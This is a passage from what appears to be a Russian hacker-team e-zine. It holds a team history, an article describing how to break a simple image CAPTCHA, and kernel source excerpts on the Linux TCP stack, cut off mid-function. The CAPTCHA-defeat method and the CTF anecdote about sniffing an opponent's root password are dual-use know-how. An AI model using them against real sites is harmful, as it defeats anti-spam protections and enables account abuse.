Xain (count zero)

info [ 0x0040 ] hackerdom. ru

Оглавление

  1. Disclaimer
  2. Intro
  3. About uz
  4. Breaking Da CAPTCHA
  5. Встраивание в TCP/IP стек в ОС GNU/Linux
  6. Linux, Kernel, Firewall
  7. Raw & Packet Sockets in PERL
  8. Создание канала связи при удаленном эксплоитинге
  9. Стеганография. Скрытие информации в изображениях
  10. Приложения

Контакты

Наш сайт: www.hackerdom.ru
IRC: irc.ircnet.ru, #hackerdom.


Disclaimer

info [ 0x0040 ] hackerdom. ru

Публикуя журнал Xain, наша команда старается следить, чтобы вся содержащаяся в нем информация была точна и верна. В большинстве случаев факты проверяются, код тестируется. Тем не менее, мы не всемогущи и допускаем возможность ошибок. Если вы найдете их и сообщите нам, мы будем рады их исправить.

Наша команда не несет никакой ответственности за любое использование приведенной в журнале информации. Вы используете информацию из нашего журнала НА СВОЙ СТРАХ И РИСК.

В журнале авторы представляют свое личное мнение, которое может отличаться от мнения всей остальной команды.

Публикация статей журнала, как и их частей, в бумажном или электронном виде без разрешения авторов запрещена и будет преследоваться по закону.


Intro

info [ 0x0040 ] hackerdom. ru

Here we go!..

Однажды команда "Хакердом" решила сделать свой электронный журнал. Нет, не совсем так... Сначала команда "Хакердом" чем-то занималась-занималась, и в результате всего этого появился какой-то опыт и информация, а потом как-то приходит Илья и говорит - Давайте из всего этого сделаем журнал!.

theShockwaveRider Однажды команде "Хакердом" заказали аудит сайта. Не помню уже, что за сайт, я не очень участвовал в этом процессе. Сайт исследовали как черный ящик. Т.е. исходников у команды не было. И была у этого сайта форма регистрации, а на ней CAPTCHA. Ну... тут я поясню, CAPTCHA - это такая картинка, на которой нарисованы корявые буквы и цифры, и вас просят эти буквы ввести куда-нибудь. Затеяно это все для того, чтобы отличать людей от всех остальных. Решил theShockwaveRider проверить стойкость этой каптчи и запросто так написал программу, которая учит машину делать вид, что она человек. Позже появилась статья "Breaking da CAPTCHA". Также был одноименный доклад на семинаре "Секреты Хакердома", на семинаре в г. Челябинске при ответном бое и на конференции в МИФИ.

ilya Однажды Илья стал аспирантом ИММ УрО РАН. И помимо прочего стал заниматься разработкой протокола для кластера. Кластер в данном случае - это много-много хостов, которые соединены в сеть и пытаются делать вид, что они - одна большая машина. Обычный TCP для таких машин не очень подходит, он слишком общий, и много в нем всего лишнего (для кластера). Протокол Илья уже вроде бы разработал и пишет вместе с Art'ом реализацию под Linux. У Ильи протокол сетевого уровня, поэтому ему пришлось достаточно глубоко залезть в сетевой стек Линукса. Попутно появились две статьи: "Hacking TCP stack" и "Linux, Kernel, Firewall".

Art и сзаде кусок затылка Thresh'a Однажды команда "Хакердом" готовилась играть матч-реванш со сборной командой г. Челябинска. И кому-то пришла в голову мысль, что сервера-то на игре одинаковые, а значит во время игры кто-то из Челябинской команды может случайно ввести свой пароль на сервере "Хакердома". Ну, ip-шник перепутают и... Стало понятно, что нужен снифер. Хороший, удобный снифер. И Art взялся его написать. И написал его на Perl с использованием raw sockets. В итоге этот снифер очень пригодился в игре, кто-то из Челябинской команды ввел пароль от пользователя, который совершенно случайно был прописан в sudoers. Так "Хакердом" получил аккаунт root на сервере противника :) Справедливости ради надо сказать, что команда была совершенно не готова к такому исходу событий и первое время не знала, что с этим богатством делать. Но... это уже совсем другая история. А Art, помимо снифера, написал статью "Raw & Packet Sockets in PERL".

DimmoBorgir Однажды команда "Хакердом" продолжала готовится к матчу-реваншу со сборной командой Челябинска. И вот уже последняя ночь перед боем. Команда живет в общаге ЧелГУ. На 7-х человек в команде 2 ноутбука, которые постоянно заняты. Кто-то пошел пораньше спать, чтобы занять машины утром, а кто-то сидел за ними, пока первые не проснулись. DimmoBorgir и theShockwaveRider копали переполнение буфера. И в последнюю ночь дописывали различные тулзы, облегчающие написание и использование шелкодов. Обычно удаленный эксплойтинг выглядит так: мы коннектимся к серверу, затем посылаем ему специальную строку (шелкод), затем выполняется наш шелкод, связывается с нами, и мы делаем на удаленной машине что нам нужно. Так вот... В последнюю ночь DimmoBorgir`у и theShockwaveRider`у приходит в голову идея, что для обратной связи можно использовать то же самое соединение, что и для посылки шелкода, что сильно снижает вероятность обнаружения атаки. Идею они успешно реализовали (в ту же ночь!) и позже написали статью "Создание канала связи при удаленном эксплоитинге". Кстати, после победы в матче-реванше, в качестве приза ребята получили книгу про переполнение буфера и шелкодинг, в которой было написано, что то, что они сделали - невозможно :-)

Jackrabbit und Kost Однажды Kost готовился к семинару "секреты Хакердома". Это такой еженедельный семинар, который проходит на МатМех УрГУ. И была у него тема про стеганографию, а именно, скрытие информации в изображениях. В процессе подготовки Kost написал свою тулзу, которая прячет все, что угодно, в bmp. Доклад получился хороший, поэтому он плавно перетек в статью "Стеганография. Скрытие информации в изображениях".

На переднем плане слева направо znick и Archangel, а на заднем theShockwaveRider, Kost и Jackrabbit Однажды Баклановский Максим Викторович, преподаватель на кафедре "Вычислительной математики" на МатМехе в УрГУ, предложил Илье вести семинар по компьютерной безопасности "Секреты Хакердома" на этом факультете, на что Илья согласился. И еще возникла у него идея собрать вокруг этого семинара команду, и так появилась команда "Хакердом". Команда существует уже два года. На данный момент в неё входят примерно 20 человек, в основном с младших курсов. Мы организовали первые соревнования CTF на Урале (а возможно и в России). Мы участвовали в 3-х международных соревнованиях CTF, подробней можно почитать у нас на сайте. Да, занятыми местами на международных соревнованиях нельзя похвастаться, но я даже отчасти рад этому. Если бы мы всего за два года смогли попасть в пятерку сильнейших - я бы разочаровался в уровне этих соревнований. А так, играть вместе с настоящими хакерами - сплошное удовольствие! Во многих хорошо развитых странах, таких как Германия, Италия, США, Австрия и др., соревнования CTF очень популярны в академической среде, т.е. в различных ВУЗах. И мы бы хотели, чтобы тоже самое было и у нас. Ведь хакерство вышло из академической среды. Мы не зацикливаемся только на безопасности, а занимаемся всем, что нам интересно. Обо всем этом безобразии Archangel написал статью "About uz".

В завершение хочется поблагодарить всех людей, которые принимали участие в создании этого многострадального журнала. Начинать надо, конечно, с родителей. Нужно побалагодарить наших мам и пап, за то что они вырастили и воспитали нас. Хочется выразить огромное спасибо нашему математико-механическому факультету. Особенно кафедре Вычислительной Математики и персонально Баклановскому Максиму Викторовичу, с чьей подачи и появилась наша команда. А так же кафедре Алгебры и Дискретной Математики и персонально Баранскому Виталию Анатольевичу. Ну и, конечно, любимому декану факультета Асанову Магазу Оразкимовичу. Отдельное спасибо DimmoBorgir`у и Jackrabbit`у за редакторскую работу.

Письма можно писать на адрес, указанный вверху (двойной клик и вы вверху :)
Наш сайт: www.hackerdom.ru
IRC: irc.ircnet.ru, #hackerdom.


About uz

Автор: Archangel
Archangel [ pupsik ] hackerdom. ru

  1. preINTRO
  2. Члбнск
  3. Все выше, и выше, и выше-е-е!..
  4. Снова Члбнск
  5. iCTF
  6. Ближе к делу
  7. Новая жизнь. Планы на будущее

preINTRO

Команда со столь звучным названием (hacker + dom[ain]) была создана участниками одноименного семинара, проводимого под крышей Уральского Государственного Университета имени А.М.Горького (УрГУ). Посвящен он информационной вообще и компьютерной безопасности в частности. Руководитель семинара и бессменный лидер команды Зеленчук Илья Валерьевич aka. ilya (подробнее смотреть на zelenchuk.com), аспирант ИММ УрО РАН, возгорелся идеей создать непобедимую команду профессионалов из тех людей, что были в зоне досягаемости.

В зоне досягаемости оказался еще один аспирант, Сергей Борисов aka Rainman. Немногочисленно, но хоть что-то. Позже начали примыкать студенты. Потихоньку-полегоньку, путем хитрых намеков и неконкретных обещаний, а также фильтруя постоянной посещаемостью, собрали 4-x студентов: 2 - из ГОУ ВПО УГТУ-УПИ (Киган Максим aka think и Строкин Евгений aka ugin), 3 - из УрГУ (Журавлев Николай aka znick, Корнев Дмитрий aka VenROCK и Шеврин Дмитрий aka archangel). Расчет был верен: семинар - это теория, но для развития любых навыков к теоретической информации должна быть приложена еще и практика. Вот этой самой практикой команда и начала заниматься. Дополнительно ко всеобщей встрече, проводимой 1 раз в неделю для прослушивания доклада, "команда" встречалась дополнительно еще 1 раз в неделю для обмена опытом и проведения совместного поиска уязвимостей. Неделя за неделей, самомнение приходящих росло... Росло... Как известно сейчас, тогда реальной подготовки не было. Но ведь это сейчас. С высоты двухлетнего опыта. А тогда - приходящие подсознательно мыслили себя пупами Земли. Мегахацкерами. Разумеется, амбиции требовали подтверждения.

Безусловно, наилучшим самоудовлетворением было бы проведение какого-либо соревнования вместе с себе подобными, а также последующая триумфальная победа. Начались активные поиски жертвы. Проводились они по различным соображениям среди других ВУЗ'ов г. Екатеринбурга. Увы, успехом поиски не увенчались. Из УПИ уже было вынуто то, что можно. УрГУПС долго обещал и грозился, но в итоге не выставил никого. Адекватная требованиям жертва была найдена на уральской земле, в ее южной столице - городе Челябинске.

Члбнск

Итак, жертва найдена - Челябинск. Аналогичная ситуация - 2 лидирующих технических вуза. ЮУрГУ+ЧелГУ. После непродолжительных препирательств типа "Если гора не идет к Магомету, то Магомет идет к горе", было решено провести соревнование в столице Урала. Город Челябинск также выставил сборную команду 2 своих ведущих ВУЗ'ов из 6 человек. Подробный отчет об игре можно прочитать в стенгазете, вывешенной недалеко от кафедры вычислительной математики, располагающейся на 6 этаже здания с номером 4, стоящем на улице имени Тургенева. Возможно, отчет есть в интернете где-то в дебрях сайта команды ХакерДом. Зашли на сайт? Нет? Зря. Краткий отчет выглядит так: май 2006 года принес сокрушительнейшее поражение. Финальный счет - 6:20. Трагичность ситуации усугубляется тем, что жалкие 6 очков, заработанные разгромленным Екатеринбургом, были фактически подарены Челябинском вследствие временной недоступности их сервисов. Это был полный крах.

Все выше, и выше, и выше-е-е!..

Вслед за поражением и сданной сессией, летом 2006г. начались усиленные интенсифицированные тренировки. К команде присоединилось несколько бравых студентов 1-го курса специальности КБ: Зиненко Артем aka art, Плотников Константин aka kost, Симонов Дмитрий aka dimmo и Соломонова Ольга aka jackrabbit, Шилиманов Кирилл aka mawile и другие. Без опыта, но с огромным рвением. Все лето несколько молодых людей (и девушка) провели за экранами мониторов вместо отдыха. Студенты и аспиранты, уже имеющие опыт работы с различного рода уязвимостями и UNIX системами передавали свой бесценный опыт более младшим компаньонам. В команде появились связующие нитки. Постепенно, от нее отпали студенты, обучающиеся в ГОУ ВПО УГТУ УПИ. Команда стала целиком и полностью состоять из личностей, так или иначе связанных с УрГУ. Возможно, именно тогда название команды стало чем-то средним между "Хакердом" и "Хакердом УрГУ". Измученные, но довольные студенты, теперь уже полноправные второкурсники, стали постепенно распространять слухи о мифической команде среди своих, и... Слухи возымели эффект. Люди пошли! Кроме того, среди нового первого курса также разлетались слухи о наличии элитного дивизиона. И ведь первокурсники также заинтересовались. И стала подрастать смена. А тем временем приближалась запланированная игра с Челябинском. И отыграть ее нужно было хорошо. Иначе - что же это? Полный ведь провал будет...

Снова Члбнск

Екатеринбург сохранил честь, отыгравшись со счетом 16:12 - это кратко. Подробный отчет об игре можно найти, сходив по ссылке.

iCTF

А амбиции-то росли. Небезызвестный Сергей Борисов неустанно агитировал всех и каждого в пользу международных соревнований DEFCON. Успешно. Еще бы. МЕЖДУНАРОДНЫЕ СОРЕВНОВАНИЯ. Звучит-то как! Почему бы не поучаствовать? Вскоре после победы над уральскими соседями команда, наконец, приняла участие в UCSB iCTF. Команду ждало незавидное 19 место из 24 участников. И снова - сессия. На этот раз - зимняя. Тренировки тем временем продолжались. Свое мастерство нужно оттачивать. Ведь с Челябинском все более-менее понятно: там такие же студенты, как и мы. С международными же соревнованиями ситуация несколько осложняется тем фактом, что не совсем понятно, кто именно (специалисты какого уровня) и в каком количестве против нас играет. Кроме того, немного иная специфика самой "игры". Соревнование в духе iCTF - дело сложное и интересное, предполагающее наличие программистских навыков, администрирования и мозгов, привыкших решать нетиповые задачи. В апреле 2007 года команда снова участвовала в USF CTF. 7 место из 20 участников. Как водится, описание сего процесса можно найти на сайте. Июль 2007. Опять iCTF. 12/25. Ну, я думаю, вы догадываетесь, где можно (будет) найти описание. :)

Ближе к делу

И все же: чем же мы занимаемся? Столь старательно описывая линию развития команды, мы аккуратно оставили в стороне техническую сторону вопроса. Думаю, для многих именно она представляет наибольший интерес. Именно поэтому она и размещена в конце. В лучших традициях рекламщиков. :) В первую очередь, мы занимаемся тем, что нам интересно: мы подробно изучаем тонкости функционирования тех или иных компьютерных систем. Мы считаем, что только хорошо понимая принципы работы системы, можно как-то оценивать ее безопасность и рассуждать о возможных методах обхода установленных систем защиты. За 2 года существования у нас накопился материал, который не стыдно показать кому-то стороннему. Именно этот призрачный факт и натолкнул капитана на мысль о создании журнала. Электронного журнала. Да, мы все когда-то читали phrack и воспоминания об этом наложили свой отпечаток на действительность: мы выкладываем наши наработки в открытый доступ в виде статей. Все для Вас, дорогой читатель. Наслаждайтесь! :)

Новая жизнь. Планы на будущее

Чемпионат Урала. Планируется уговорить на участие УПИ, УрГУПС, ЧелГУ и УрГУ (второй состав). Кроме того, хотелось бы иметь практику соревнования с неуральскими российскими ВУЗ'ами типа МГУ, СПбГУ или МИФИ. Касательно первых двух данных мало, что же до последнего, то этот ВУЗ обещал-обещал согласиться на дуэль с УрГУ, но в конечном итоге все же отказался. А-у-у! info@hackerdom.ru

Чемпионат России. Звучит солиднее. Но и проводить ведь сложнее!


Breaking da CAPTCHA

Автор: theShockwaveRider
theShockwaveRider ]doggy[ hackerdom ]dotty[ ru

  1. Intro
  2. Sample code
  3. And... here we go!
    • Бинаризация
    • Подавление шума
    • Выделение отдельных букв
    • Скелетизация
    • Масштабирование
    • Непосредственное распознавание
  4. Защита
  5. Полезные ссылки

Intro

Для начала разберемся, о чем будем вести речь. CAPTCHA, или, если более подробно, Completely Automated Public Turing test to tell Computers and Humans Apart, - это некоторое средство или методика, позволяющая в автоматическом режиме отличать гуманоидов от компьютерных исчадий ада. Сегодня каптча, как правило, представляет из себя некоторое изображение текста с просьбой "введите символы, которые вы видите на картинке". Каптча представляет из себя одно из средств защиты от спамботов. Но стоит отметить, что, увы, со всеми плюсами, этот механизм значительно усложняет автоматизацию в том числе и легитимных действий на некоторых сайтах. А поскольку одной из благодетелей программиста, согласно Ларри Уоллу, является ленность (мы хотим, чтобы все было автоматизировано и при этом, чтобы процесс автоматизации тоже был несложен :D).

Sample code

В этой статье будет описан довольно простой подход для распознавания несложных каптч в помощь начинающим в этой области. При желании вы можете скачать демонстрационный исходник на C#, скачивая исходник, вы соглашаетесь использовать его только в образовательных целях.

Мы будем распознавать следующее изображение (см. рис. 1). Знакомство с ним у нашей команды возникло в рамках одной из проверок на безопасность одного из сайтов.

Рис. 1. Исходное изображение
Рис. 1. Исходное изображение

And... here we go!

Каптча в своем изначальном варианте невероятно избыточна. Она весит 5880 байтов, хотя полезной для нас информации всего-то 5 байтов. Весь процесс распознавания будет заключаться в последовательном отбрасывании незначимой информации. Как говорят архитекторы: "всего лишь уберем лишнее".

Бинаризация

От чего же избавиться в первую очередь? Вот мне лично надоела цветастость этой картинки. На первом шаге необходимо произвести бинаризацию (см. рис. 2) - первичное разделение пикселей изображения на две категории: значимые пиксели и незначимые. Условимся, что значимые пиксели будут черными. В случае данной каптчи значимыми являются лишь серые пиксели, все остальные --- нет.

Рис. 2. После бинаризации
Рис. 2. После бинаризации

Подавление шума

Теперь озаботимся шумом. Общим подходом в его подавлении является вычисление для каждого пикселя некоторой функции и сравнение ее значения с пороговым, если значение меньше порогового, то пиксель удаляется (становится белым --- чудес не бывает), иначе остается черным. В нашем случае для каждого пикселя посчитаем число черных соседей в единичной окрестности. Соседями в единичной окрестности будем называть ближайшие восемь пикселей. Если количество черных соседей больше либо равно семи, то оставляем этот пиксель, иначе удаляем (функция killNoise). После этого удаляем все пиксели без черных соседей (функция clearNoise). После проделанных манипуляций картинка становится как на рис. 3.

Рис. 3. После подавления шума
Рис. 3. После подавления шума

Выделение отдельных букв

Выглядит неплохо. Но распознавать слово целиком мы не будем, так как это значительно сложнее. Действительно, если мы распознаем произвольное пятибуквенное английское слово, то вариантов у нас 26^5, а если каждую букву в отдельности, то 26*5. Посему, выделим отдельные компоненты связности (буквы) например поиском в ширину aka BFS (функция getLetter) и будем работать с каждой по отдельности. Заметим, что у данной каптчи буквы не пересекаются, поэтому BFS сработает, иначе нам бы пришлось еще озаботиться проблемой разлучения сблизившихся букв.

Скелетизация

Что еще можно отбросить у оставшихся изображений? Их запросто можно утоньшить или провести скелетизацию --- представить в виде кривой шириной в один пиксель. С этой частью связаны приятные воспоминания о поиске методов скелетизации. Google подсказал алгоритм Зонга-Суня, который был приятно прост в реализации, но давал следующие результаты (см. рис. 4).

Рис. 4. Алгоритм Зонга-Суня
Рис. 4. Алгоритм Зонга-Суня

О ужас! Бедные наши букоффги! Зонг и Сунь решали наверняка несколько иные задачи... Недолго думая, было принято решение о разработке своего алгоритма (skeletonLetter). Для каждого черного пикселя проверяется несколько условий, если они выполняются, то пиксель помечается, но еще не удаляется из изображения. Помеченный пиксель для соседей по-прежнему считается черным. После того как все пиксели обработаны, помеченные удаляются, и алгоритм запускается заново. Если после очередного прохода ни одного пикселя не было удалено, то алгоритм завершается. Пиксель помечается, если выполнены следующие три условия:

  • у него строго больше одного черного соседа (функция pointB)
  • есть три подряд идущих белых пикселя при обходе соседей по часовой стрелке (функция point03)
  • удаление этого пикселя не нарушает связности (функция checkConsistency)

Если убрать первое условие, то, когда будет уже выделен скелет, алгоритм не прекратит работу и от каждого "конца" скелета (пардон!) шаг за шагом будут продолжать съедаться пиксели, в результате не останется ни одного черного пикселя (буквы типа "О" имеют иммунитет). Второе условие отвечает за то, что пиксель является граничным, а не внутренним. Под третьим условием понимается запрет удаления крестовин, например у букв "У", "Х". Заметим, что результаты работы этого алгоритма значительно лучше (см. рис. 5).

Рис. 5. Придумки TheFire'a & theShockwaveRider'a
Рис. 5. Придумки TheFire'a & theShockwaveRider'a

Масштабирование

Далее приведем полученные изображения к одному размеру (функция resize) и выпишем их матрицы. Для первой буквы имеем:

0 0 0 0 0 1 0
0 0 1 1 1 1 1
0 1 1 0 0 0 0
0 0 1 0 1 1 1
0 1 1 1 0 0 1
0 1 0 0 0 0 0
0 1 1 0 1 1 0

Но нетрудно заметить, что в результате выше описанных действий буквы O и Q, B и 8 станут неотличимыми. Поэтому добавим к этой матрице еще процент черных пикселей по отношению к размеру изображения буквы до скелетизации. Для буквы "E" в нашем случае получается 53%.

Непосредственное распознавание

Для эффективного распознавания необходимо как-либо другим образом распознать определенное количество изображений букв для создания эталонной базы, посредством сравнивания с которой и будет происходить распознавание. Для сравнения двух векторов характеристик вводят метрику. Чем меньше расстояние от одного вектора до другого, тем буквы, им соответствующие, считаются более похожими.

Вообще говоря, более перспективным методом распознавания является использование нейросетей, но пока что мы ставим перед собой цель научится распознавать каптчи методами, не требующими глубоких теоретических знаний.

Для улучшения точности распознавания можно выбрать другой вектор характеристик, учитывающих число концевых точек, крестовин. Но стоит отметить, что, как правило, при неправильном распознавании каптчи, сайты предлагают выполнить распознавание повторно. Это означает, что достаточно обеспечить некоторый стабильный процент распознавания, который может быть значительно меньше 100%. Так, например, обеспечив себе 25%, мы будем распознавать каптчу в среднем с четвертой попытки, а не с первой, это будет потеря в скорости, но не в функциональности.

Защита

Для усложнения распознаваемости каптчи рекомендуется использовать сложные преобразования букв, приводящие к их наложению и частичному смешению с фоном. Тем не менее, необходимо учитывать, что изображение, ставшее плохо распознаваемым компьютером, станет плохо распознаваемым и для человека.

Более стойкими являются смысловые каптчи с изображением формул и заданием их вычислить. Изображения объектов с просьбой написать название объекта тоже представляют интерес. Но эти подходы заведомо сужают круг возможных пользователей.

Полезные ссылки

  1. aiCaptcha
  2. PWNtcha - captcha decoder
  3. Второй раз повторяю: я человек!
  4. The CAPTCHA project
  5. Accessibility Problems with Visual Verification Systems
  6. Inaccessibility of CAPTCHA


Встраивание в TCP/IP стек в ОС Linux

Встраивание в TCP/IP стек в ОС GNU/Linux

Автор: ilya
ilya [GuessWhat?] hackerdom.ru

  1. Введение
  2. Сетевая подсистема ОС GNU/Linux
  3. Доступ к структуре tcp_sock
  4. Примечание
  5. Список литературы

Введение

Исследование протоколов - довольно интересное занятие. По-прежнему многие исследователи занимаются их оценкой и верификацией в различных ситуациях. Лично я столкнулся с необходимостью исследования протокола в первый год работы в ИММ УрО РАН [1]. Как бы это ни звучало банально, но это был TCP протокол. Причина, по которой я стал этим заниматься, следующая - необходимо было разобраться с сетью в одном из вычислительных кластеров. При передаче данных по протоколу TCP через 2-е 100 Мбит. сетевые карты одновременно (т.н. связывание каналов или по англ., bonding) наблюдался прирост скорости в два раза, и в тоже время на гигабитных карточках скорость не только не возрастала, но даже падала до 600 Мбит. в сек. Снифер ничего особого не показал. Да и вообще говоря, снифер не всегда может дать исчерпывающую информацию о происходящем в сети. С его помощью можно узнать о том, что произошло в сети и на основе этого попытаться понять, что происходило с протоколом. Но для этого как минимум необходимо точно себе представлять реализацию данного протокола в этой ОС. Согласитесь, это не легко. Да и надо ли это вообще, когда сама ОС и все протоколы прямо перед нами? К тому же, когда это open-source ОС, где нет ничего, что было бы скрыто от наших глаз.

Данная статья описывает один из двух (на данный момент мне известных!) способов встраивания в TCP/IP стек. Я это делал с целью узнать значение некоторых параметров и состояние протокольной машины TCP для конкретного соединения. Возможно, у вас будут на это другие причины :). Первый способ - это внести изменения в ядро ОС Linux, пересобрать его, перезагрузить машину и затем собирать необходимую информацию. И если пойти дальше, то можно даже включить это опцией при сборке ядра. Но этот способ примитивный, скучный, а значит, не доставляет никакого удовольствия. Второй - написать модуль к ядру, который бы подключался к TCP протоколу и выводил всю необходимую информацию. Он немного сложнее первого, но значительно интереснее, поверьте! Вот его мы и разберем.

В связи с тем, что изменения в ядро ОС Linux вносятся довольно часто, трудно написать пример кода, который бы работал на многих ядрах сразу. По этой причине, в этой статье описан пример встраивания в TCP стек в ядро ОС Linux версии 2.6.12. Также, в приложении можно найти код для версии ядра 2.6.18 (спасибо VenROCK’у, заставил!).

Сетевая подсистема ОС GNU/Linux

Начнем, пожалуй, с того, как в ОС Linux представлен сетевой стек. Для работы с сетью ОС Linux в основном используется 2-е структуры. Первая - это sk_buff, описывает пакет с содержимым и хранит служебную информацию, например, для какого сокета адресован данный пакет, когда он был создан, указатели на заголовки (Ethernet, IP, TCP..), размер пакета, с какого интерфейса пакет был получен или через какой его необходимо отправить и т.д. Некоторые из этих полей задаются в момент создания пакета, другие же - в процессе. Например, при отправке пакета структура sk_buff изначально содержит ссылку на сокет, а при получении пакета из сети - NULL, и это поле заполняется в процессе. Правда, некоторые поля могут оставаться пустыми на протяжении всего процесса существования, в зависимости от протокола.

Как только у ОС появляется необходимость работать с сетевым пакетом - это sk_buff. Она создается в тот момент, когда система получила пакет из сети, или когда ей необходимо сформировать новый для отправки. По этой причине в сетевом стеке практически каждая функция получает эту структуру в качестве параметра. Основное её назначение - дать простой и эффективный способ работы с пакетом на всех сетевых уровнях сетевого стека (см. рис. 1). Структура sk_buff представляет собой управляющую структуру с присоединенным блоком памяти, в котором находится пакет [2]. Таким образом, изменяя переменные в структуре, мы изменяем содержимое пакета или служебную информацию о нем.

Рис. 1. структура sk_buff
Рис. 1. структура sk_buff

Ниже представлена основная часть этой структуры.

struct sk_buff {

    /*  Первые две записи должны быть первыми. */
    struct sk_buff		*next;
    struct sk_buff		*prev;

    struct sk_buff_head	*list;
    struct sock		*sk;
    struct timeval		stamp;
    struct net_device	*dev;
    struct net_device	*input_dev;
    struct net_device	*real_dev;

    /*
    *  Секция транспортного уровня, указывает на
    *  соответствующий протокол, такой как TCP, UDP, ICMP и т.д.
    */

    union {
        struct tcphdr	*th;
        struct udphdr	*uh;
        struct icmphdr	*icmph;
        struct igmphdr	*igmph;
        struct iphdr	*ipiph;
        struct ipv6hdr	*ipv6h;
        unsigned char	*raw;
    } h;

    /* Секция сетевого уровня */

    union {
        struct iphdr	*iph;
        struct ipv6hdr	*ipv6h;
        struct arphdr	*arph;
        unsigned char	*raw;
    } nh;

    /* Указатель на заголовок канального уровня, например, Ethernet. */

    union {
          unsigned char 	*raw;
    } mac;

    /*
    *  Остальная часть структуры содержит сопутствующую информацию о пакете.
    *  Длину, тип пакета, контрольную сумму и т.д.
    */

    unsigned int			len,
                    data_len,
                    mac_len,
                    csum;
    unsigned short			protocol,
                    security;
…

Более подробное её описание можно найти в исходных текстах ядра Linux: include/linux/skbuff.h.

Вторая структура, с которой необходимо познакомится - это sock, содержит информацию о состоянии сокета (connected, unconnected…), его тип (SOCK_STREAM, SOCK_DGRAM, SOCK_RAW), используемый протокол (TCP, UDP, IPPROTO_RAW …), размер буфера для приема и отправки пакетов, указатели на область памяти, где расположены буферы для приема и отправки пакетов, и т.д. Она создается и заполняется в момент, когда пользователь делает системный вызов socket. Ниже представлен кусок этой структуры с некоторыми комментариями.

struct sock {
    /*
     * Now struct tcp_tw_bucket also uses sock_common, so please just
     * don't add nothing before this first member (__sk_common) --acme
     */
    struct sock_common	__sk_common;
#define sk_family		__sk_common.skc_family  	/* Семейство протокола */
#define sk_state		__sk_common.skc_state 		/* Состояние 	*/
#define sk_reuse		__sk_common.skc_reuse
#define sk_bound_dev_if		__sk_common.skc_bound_dev_if
#define sk_node			__sk_common.skc_node
#define sk_bind_node		__sk_common.skc_bind_node
#define sk_refcnt		__sk_common.skc_refcnt
    unsigned char		sk_shutdown : 2,
                sk_no_check : 2,
                sk_userlocks : 4;
    unsigned char		sk_protocol;			/* Протокол */
    unsigned short		sk_type;			/* Тип протокола */
    int			sk_rcvbuf;			/* Размер буфера для приема */
    socket_lock_t		sk_lock;
    wait_queue_head_t	*sk_sleep;			/* Очередь для ожидания */
    struct dst_entry	*sk_dst_cache;
    struct xfrm_policy	*sk_policy[2];
    rwlock_t		sk_dst_lock;
    atomic_t		sk_rmem_alloc;
    atomic_t		sk_wmem_alloc;
    atomic_t		sk_omem_alloc;
    struct sk_buff_head	sk_receive_queue;		/* Очередь для входящих пакетов */
    struct sk_buff_head	sk_write_queue;			/* Очередь для исходящих пакетов */
    int			sk_wmem_queued;
    int			sk_forward_alloc;
    unsigned int		sk_allocation;
    int			sk_sndbuf;			/* Размер буфера для отправки */
    int			sk_route_caps;
    int			sk_hashent;
    unsigned long 		sk_flags;			/* Флаги :) */
    unsigned long	        sk_lingertime;
…

Её полное описание можно найти в include/net/sock.h.

Имея в своем распоряжении эти две структуры (struct sk_buff и struct sock), можно принимать и отправлять пакеты, доставлять информацию от сетевого интерфейса к пользовательскому приложению и наоборот. Но структура sock описывает только общие вещи. Например, она не содержит ожидаемый номер последовательности TCP сегмента и многих других полезных вещей. Для этих целей служат другие структуры.

Каждый протокол имеет свою структуру для хранения необходимой ему информации. Например, для TCP эта структура называется tcp_sock, для UDP - udp_sock, продолжите сами :). Все они наследуют структуру sock, правда, не всегда напрямую, как это в случае с tcp_sock (см. рис 2). Все самое интересное о работе протокола можно найти в этих структурах - его состояние, таймауты, номер последовательности ожидаемого пакета, и много другой специфической информации. Таким образом, самый лучший способ узнать, что происходит с протокольной машиной TCP - это считывать данные из структуры tcp_sock.

Рис. 2. Наследование структуры sock
Рис. 2. Наследование структуры sock

Доступ к структуре tcp_sock

Перед тем как начать поиск, необходимо выяснить, что именно мы хотим обнаружить? Как было описано выше, tcp_sock наследует структуру sock, вот почему сначала нам необходимо найти нужный сокет, а по нему мы сможем получить доступ к tcp_sock. В ОС Linux для быстрого поиска TCP и UDP сокета их хранят в специальной хеш таблице. Место их расположения определяется путем вычисления некоторого хеша на основе 4-х параметров: адрес отправителя, порт отправителя, адрес получателя и порт получателя. Ну что же, логично! После определения его места расположения сокет можно извлечь. В самом TCP протоколе операция по обнаружению и извлечению сокета описана в функции __tcp_v4_lookup_established, которая находится в файле net/ipv4/tcp_ipv4.c. Вот её исходный код:

486 static inline struct sock *__tcp_v4_lookup_established(u32 saddr, u16 sport,
487                                                        u32 daddr, u16 hnum,
488                                                        int dif)
489 {
490         struct tcp_ehash_bucket *head;
491         TCP_V4_ADDR_COOKIE(acookie, saddr, daddr)
492         __u32 ports = TCP_COMBINED_PORTS(sport, hnum);
493         struct sock *sk;
494         struct hlist_node *node;
495         /* Optimize here for direct hit, only listening connections can
496          * have wildcards anyways.
497          */
498         int hash = tcp_hashfn(daddr, hnum, saddr, sport);
499         head = &tcp_ehash[hash];
500         read_lock(&head->lock);
501         sk_for_each(sk, node, &head->chain) {
502                 if (TCP_IPV4_MATCH(sk, acookie, saddr, daddr, ports, dif))
503                         goto hit; /* You sunk my battleship! */
504         }
505
506         /* Must check for a TIME_WAIT'er before going to listener hash. */
507         sk_for_each(sk, node, &(head + tcp_ehash_size)->chain) {
508                 if (TCP_IPV4_TW_MATCH(sk, acookie, saddr, daddr, ports, dif))
509                         goto hit;
510         }
511         sk = NULL;
512 out:
513         read_unlock(&head->lock);
514         return sk;
515 hit:
516         sock_hold(sk);
517         goto out;
518 }

Высчитывание хеша производится в 498 строке путем вызова функции tcp_hashfn с 4-мя параметрами: локальный адрес, локальный порт, удаленный адрес, удаленный порт.

498         int hash = tcp_hashfn(daddr, hnum, saddr, sport);

А затем извлекается сам сокет:

499         head = &tcp_ehash[hash];
500         read_lock(&head->lock);
501         sk_for_each(sk, node, &head->chain) {
502                 if (TCP_IPV4_MATCH(sk, acookie, saddr, daddr, ports, dif))
503                         goto hit; /* You sunk my battleship! */
504         }

Функция, которая производит расчет хеша, называется tcp_hashfn, начиная с версии ядра 2.6.18 она стала называться inet_ehashfn() и её перенесли в заголовочный файл, так что теперь нет нужды описывать её в своем коде. Но мы пишем код под 2.6.12, так что придется нам посмотреть, где и как описывается эта функция. Исходный код её так же можно подсмотреть в net/ipv4/tcp_ipv4.c.

107 static __inline__ int tcp_hashfn(__u32 laddr, __u16 lport,
108                                  __u32 faddr, __u16 fport)
109 {
110         int h = (laddr ^ lport) ^ (faddr ^ fport);
